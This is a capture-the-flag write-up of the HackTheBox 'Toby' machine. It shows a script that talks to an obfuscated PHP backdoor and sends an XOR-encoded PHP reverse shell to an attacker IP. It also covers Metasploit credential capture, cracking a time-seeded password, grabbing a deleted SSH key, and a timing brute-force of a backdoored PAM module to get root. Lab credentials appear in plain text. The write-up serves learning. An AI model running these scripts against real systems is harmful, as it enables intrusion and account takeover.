January 2022

Toby

by - OREOSEC

Bismillah

I’ll cover Toby machine (INSANE) from HackTheBox this box based on Linux system. As usual challenge from HackTheBox machine is we must owned fully system (privelege escalation) for getting user.txt and root.txt.

This content

Enumerate

Nmap Scanning

Let’s begin with enumeration using nmap for disover opening port on victim

sudo nmap -sCV -oN nmap/serv 10.10.11.121

We discovered 2 port: 22(ssh) & 80(http)

Analyze the web service

As we know website is using wordpress for CMS, so i try to scanning with wpscan but get nothing interesting there, and we don’t get something useful there except we get wordpress.toby.htb DNS from that’s website

so we can try fuzz another subdomain in this site

ffuf -c -u "http://toby.htb/" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -r -H "Host: FUZZ.toby.htb"  -fs 10837

alt ffuf

We can able get backup.toby.htb subdomain and add on /etc/hosts.

alt ffuf

There’s a gogs service, so we can try to register and login.

When try to explore this service i just getting there’s a toby-admin user without visible some repository

alt ffuf

I was try to some enumerate again on port scan again, try get DNS with another wordlists but it still same, i got stuck for a long time on it :( sad, so i try to fuzzing repository on gogs, and i get something useful there

alt ffuf

Shell as www-data

We can see if repo is wordpress site’s backup, so i clone this repo and try analyze again, there’s nothing suspicious with this backup like we can use mysql creds for login on wordpress or gogs service, so for save my time i try to downloading same wordpress version source code and comparing what different with this backup

alt ffuf

Wow there’s a php obfuscate code!! very interesting :D

so i create this script for deobfuscate php script

<?php


$data = file_get_contents("ob.php");
$stop = false;
$num = 0;

while(!$stop) {
	$data = str_replace("eval", "print", $data);
	
	ob_start();
	eval($data);
	$data = ob_get_contents();
	ob_end_clean();

	// sleep(1);
	if($data != ""){
		file_put_contents("result/$num", $data);
		$num++;	
	}else{
		$stop = true;
	}
	
}?>

Result

$ cat result/79

if($comment_author_email=="help@toby.htb"&&$comment_author_url=="http://test.toby.htb/"&&substr($comment_content,0,8)=="746f6279"){
	$a=substr($comment_content,8);
	$host=explode(":",$a)[0];$sec=explode(":",$a)[1];
	$d="/usr/bin/wordpress_comment_validate";
	include $d;wp_validate_4034a3($host,$sec);return new WP_Error('unspecified error');
}

Hmmm, it’s seem like backdoor here.. so we can follow instruction this script for look at what will be happen

alt ffuf

I assume that $sec is meaning for secret.. we can get it from comment above obfuscate code but we just get something like this cause this just return this code php return new WP_Error('unspecified error');

alt ffuf

So we can look what happen on the background by assuming it’s a backdoor code with wireshark

alt ffuf

Hey! look at above! we got incoming connection on port 20053, but when listening this port we just get like some decode output like seen below, try to bash command ls,whoami,etc but no luck

alt ffuf

So i try to decode some string on CyberChef and get something useful there

alt ffuf

Got some hint if this prompt is encode input/output shell so i try brute-force some string again with xor on CyberChef

alt ffuf

i spend many time for this part and getting some interesting decode string, so we can assume if we need encode our input to xor with the key like we found before

alt ffuf

So we can input xor key on our prompt and get different output

alt ffuf

alt ffuf

Wow nice!! so we can create this script to geting shell on www-data

#!/usr/bin/env python3

from pwn import *
import os

l = listen(20053).wait_for_connection()
l.recvline()
l.sendline(b"id")
output = l.recvline()
key = output.decode().split("|")[1]

key = bytes.fromhex(key).decode('utf-8')

for decim in range(256):
    cmd =  ''.join([chr(ord(char) ^ decim) for char in key])
    if cmd == "cmd:":
    	xor = decim
    	break

def xorstr(data, xor):
	temp = []
	for i in data:
		fuck = ord(i) ^ xor
		temp.append(chr(fuck))
	return temp

temp = xorstr('php -r \'$sock=fsockopen("10.10.14.64",1337);exec("/bin/sh -i <&3 >&3 2>&3");\'  ', xor)
ex = ''.join(temp)[0:-1]
l.sendline(ex.encode())
output = l.recvline()

And we got the shell

alt ffuf

in this container we can’t seem another resource except wordpress source code like on backup repository so cause we have some host from wordpress config (mysql.toby.htb)

$ nslookup mysql.toby.htb

Server:         127.0.0.11
Address:        127.0.0.11#53

Non-authoritative answer:
Name:   mysql.toby.htb
Address: 172.69.0.102

it’s look like it another container and we can connect it, so try reverse proxy using chisel to connect database (ref for tunelling: here )

$ proxychains mysql -h 172.69.0.102 -u root -pOnlyTheBestSecretsGoInShellScripts
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.69.0.102:3306-<><>-OK
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1083
Server version: 8.0.26 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

we found wordpress and gogs are here

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gogs               |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wordpress          |
+--------------------+
6 rows in set (0.094 sec)

i try gogs first and get some hash there, but it seem we can’t crack it (took very long time)

MySQL [gogs]> select id,name,passwd,salt from user;                                                                                     
+----+------------+------------------------------------------------------------------------------------------------------+------------+ 
| id | name       | passwd                                                                                               | salt       | 
+----+------------+------------------------------------------------------------------------------------------------------+------------+ 
|  2 | toby-admin | 8a611020ad6c56ffd791bf334d32d32748baae42975259607ce268c274a42958ad581686151fe1bb0b736370c82fa6afebcf | PlCxfl4BrQ | 
+----+------------+------------------------------------------------------------------------------------------------------+------------+ 
1 row in set (0.091 sec)

so try to wordpress database

MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url            | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
|  1 | toby       | $P$Bc.z9Qg7LCeVxEK8MxETkfVi7FdXSb0 | toby          | toby@toby.htb       | http://192.168.0.43 | 2021-07-08 12:00:13 |                     |           0 | toby         |
|  2 | toby-admin | $P$B3xHYCYdc8rgZ6Uyg5kzgmeeLlEMUL0 | toby-admin    | toby-admin@toby.htb | http://.            | 2021-08-28 18:17:33 |                     |           0 | . .          |
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.090 sec)

cracking again with JtR and we get some password

toby-admin:tobykeith1

1 password hash cracked, 1 left

Shell as jack on mysql

we can login with these creds on backup site and we found another private repository there

alt ffuf

by opening supportsystem-db repository there just some encrypt message with AES and there’s a KEY and IV so i can easly decrypt this string using cyberchef and this is one of them

Hi, my authentication has been really slow since we were attacked. I ran some scanners as my user but didn’t find anything out of the ordinary. Can an engineer please come and look?

idk what is message mean but it’ll be useful later

so i open again on another repository and then we found some source code here

alt ffuf

this part is look interesting here

alt ffuf

try found some container again using nslookup and we found personal.toby.htb

alt ffuf

as we can see, we can capture creds of mysql by giving parameter on web service to our local mysql, in this case we will use auxiliary module from metasploit here

msf5 > use auxiliary/server/capture/mysql 
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
johnpwfile => /tmp/mysql.logins
msf5 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/mysql) > 
[*] Started service listener on 0.0.0.0:3306 
[*] Server started.
[+] 127.0.0.1:59604 - User: jack; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 7323fe921ced57a1bedbda67f9d2d63b8badb

but when we try crack this hash using rockyou.txt we can’t found a decrypt string, so we need look again on source code, we’ll found generate password function on this source

@app.route("/api/password")
def api_password():
	chars = string.ascii_letters + string.digits
	random.seed(int(time.time()))
	password = ''.join([random.choice(chars) for x in range(32)])
	return Response(json.dumps({"password": password}), mimetype="application/json")

i just guess this password was make when this box released and i solved this box 3 months after so i create some script to generate wordlist with timestamp 3 months ago (it’ll be write a huge wordlist)

#!/usr/bin/env python3

import string, random, time

f = open("password.lst", "a")
for i in range(1610000000,1648045039):
    chars = string.ascii_letters + string.digits
    random.seed(int(i))
    password = ''.join([random.choice(chars) for x in range(32)])
    f.write(password+"\n")

f.close()

and finally we can get password

jack:4DyeEYPgzc7EaML1Y3o0HvQr9Tp9nikC

1 password hash cracked, 0 left

we can connect by ssh using proxychains again (tunelling)

proxychains ssh jack@mysql.toby.htb

Shell as jack on toby {#jack toby}

Try enumerating on this container again using pspy, we can found there’s a cron job where it’s look like dumping the database and send data using scp on main host machine

2021/10/09 10:57:01 CMD: UID=0    PID=52954  | runc init 
2021/10/09 10:57:01 CMD: UID=0    PID=52959  | runc init 
2021/10/09 10:57:01 CMD: UID=0    PID=52965  | sh -c mysqldump wordpress -uroot -pOnlyTheBestSecretsGoInShellScripts > /tmp/tmp.bJUwfFuUOB/backup.txt 
2021/10/09 10:57:01 CMD: UID=0    PID=52966  | runc init 
2021/10/09 10:57:01 CMD: UID=0    PID=52974  | runc init 
2021/10/09 10:57:01 CMD: UID=0    PID=52981  | runc init 
2021/10/09 10:57:01 CMD: UID=0    PID=52987  | scp -o StrictHostKeyChecking=no -i /tmp/tmp.bJUwfFuUOB/key /tmp/tmp.bJUwfFuUOB/backup.txt jack@172.69.0.1:/home/jack/backups/1633777021.txt 
2021/10/09 10:57:03 CMD: UID=0    PID=52988  | runc init

when i try to cat /etc/key it’s seem “No such file directory” so we need capture the key (before deleted) by create some script

while :;
    do cat /tmp/*/key 2>/dev/null;
    if [ $? -ne 1 ]; then
        break;
    fi
done

and we got the rsa!!

$ ssh -i id-rsa jack@toby.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...[snip]...
jack@toby:~$

Shell as root

After trying enumeration using LinPeas and pspy we could’nt find anything here, so after get a nudge if there’s a suspicious file on /etc named .bd and referring from message before if auth function is broken, i try to grep where /etc/.bd file come from

$ grep -iR '/etc/.bd' /usr 2>/dev/null

Binary file /usr/lib/x86_64-linux-gnu/security/mypam.so matches

Hmm some pam library here, we need analyze this lib using ghidra

alt ffuf

By analyzing this file we know function is looping a content file and checking length password then verify the password using loop function

opening /etc/.bd:

__stream = fopen("/etc/.bd","r");
if (__stream == (FILE *)0x0) goto LAB_001048ff;
__isoc99_fscanf(__stream,"%[^\n]",pw);
fclose(__s

looping content file and checking input length:

while (lVar10 != 10);

compare password with content file:

if (input_pass[i] != *(char *)((long)file_pass + i)) {
LAB_001049d0:
          res = _unix_verify_password(pamh,name,p,ctrl);
          *piVar2 = res;
          goto LAB_00104990;
        }

but very interesting part is there a usleep(100000); code it say when password is match it’ll be sleep (suspend) a 100000 microsecond (0.1s) so when i try to guess some password here

alt ffuf

When i put 10 password with prefix “T” this auth will be add some more time (0.1s) but when i give a password less than 10 chars with “T” prefix again it’ll be not add some more time again like we give 10 chars password with another “T” prefix, by knowing this how function works i create this script to brute-forcing this auth

import string, os, time

password = "0000000000"
chars = string.ascii_letters + string.digits

i = 0
while i <= 10:
    for j in chars:
        password = list(password)
        password[i] = j
        password = "".join(password)
        print(password)
        now = time.time()
        os.system("echo {}|su -".format(password))
        est = time.time()-now
        print(est)
        est = str(round(est,1))
        target = str(round(i*0.1+1+0.1, 1))
        print("est: ",est, target, est == target)
        if est == target:
            password = list(password)
            password[i] = j
            password = "".join(password)
            i+=1
            break

Get this password TihPAQ4pse and we can auth with su

jack@toby:/tmp$ su -
Password: 
root@toby:~#